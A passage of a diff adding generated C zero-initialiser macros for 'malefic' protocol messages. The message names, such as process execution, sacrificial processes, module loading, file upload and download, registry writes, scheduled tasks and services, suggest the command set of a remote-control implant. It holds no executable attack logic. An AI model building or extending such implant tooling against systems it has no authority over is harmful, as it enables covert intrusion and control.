malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero}} +#define malefic_Block_init_zero {0, {0, {0}}, 0} +#define malefic_ACK_init_zero {0, 0, 0} +#define malefic_Os_init_zero {"", "", "", "", "", "", "", 0, {"", "", "", "", "", "", "", ""}} +#define malefic_Process_init_zero {"", 0, 0, "", "", "", "", ""} +#define malefic_Timer_init_zero {"", 0} +#define malefic_FileInfo_init_zero {"", 0, 0, 0, 0, ""} +#define malefic_SacrificeProcess_init_zero {0, 0, 0, 0, ""} +#define malefic_LsResponse_init_zero {"", 0, 0, {malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero}} +#define malefic_DriveInfo_init_zero {"", "", 0, 0, ""} +#define malefic_EnumDriversResponse_init_zero {0, {malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero}} +#define malefic_PsResponse_init_zero {0, {malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero}} +#define malefic_ExecRequest_init_zero {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, 0, 0, 0} +#define malefic_ExecResponse_init_zero {0, {0, {0}}, {0, {0}}, 0, 0} +#define malefic_BinaryResponse_init_zero {{0, {0}}, {0, {0}}, 0, ""} +#define malefic_Modules_init_zero {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Addons_init_zero {0, {malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero}} +#define malefic_Addon_init_zero {"", "", ""} +#define malefic_LoadModule_init_zero {"", {0, {0}}} +#define malefic_LoadAddon_init_zero {"", "", "", {0, {0}}} +#define malefic_ExecuteAddon_init_zero {"", false, malefic_ExecuteBinary_init_zero} +#define malefic_ExecuteBinary_init_zero {"", {0, {0}}, {{NULL}, NULL}, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, "", {0, {0}}, 0, 0, 0, false, malefic_SacrificeProcess_init_zero, "", "", 0} +#define malefic_ExecuteBinary_ParamEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ExecuteCommand_init_zero {"", false, malefic_SacrificeProcess_init_zero} +#define malefic_UploadRequest_init_zero {"", "", 0, {0, {0}}, 0, 0} +#define malefic_DownloadRequest_init_zero {"", "", 0, 0, 0} +#define malefic_DownloadResponse_init_zero {"", 0, 0, {0, {0}}} +#define malefic_CurlRequest_init_zero {"", 0, "", {0, {0}}, {{NULL}, NULL}, ""} +#define malefic_CurlRequest_HeaderEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ChownRequest_init_zero {"", "", "", 0} +#define malefic_IfconfigResponse_init_zero {0, {malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero}} +#define malefic_RegistryRequest_init_zero {"", false, malefic_Registry_init_zero} +#define malefic_Registry_init_zero {"", "", ""} +#define malefic_RegistryWriteRequest_init_zero {"", "", "", "", {0, {0}}, 0, 0, 0} +#define malefic_TaskScheduleRequest_init_zero {"", false, malefic_TaskSchedule_init_zero} +#define malefic_TaskSchedule_init_zero {"", "", "", 0, "", "", 0, "", ""} +#define malefic_TaskSchedulesResponse_init_zero {0, {malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero}} +#define malefic_ServiceRequest_init_zero {"", false, malefic_ServiceConfig_init_zero} +#define malefic_ServiceConfig_init_zero {"", "", "", 0, 0, ""} +#define malefic_ServiceStatus_init_zero {0, 0, 0, 0, 0} +#define malefic_Service_init_zero {false, malefic_ServiceConfig_init_zero, false, malefic_ServiceStatus_init_zero} +#define malefic_ServicesResponse_init_zero {0, {malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, 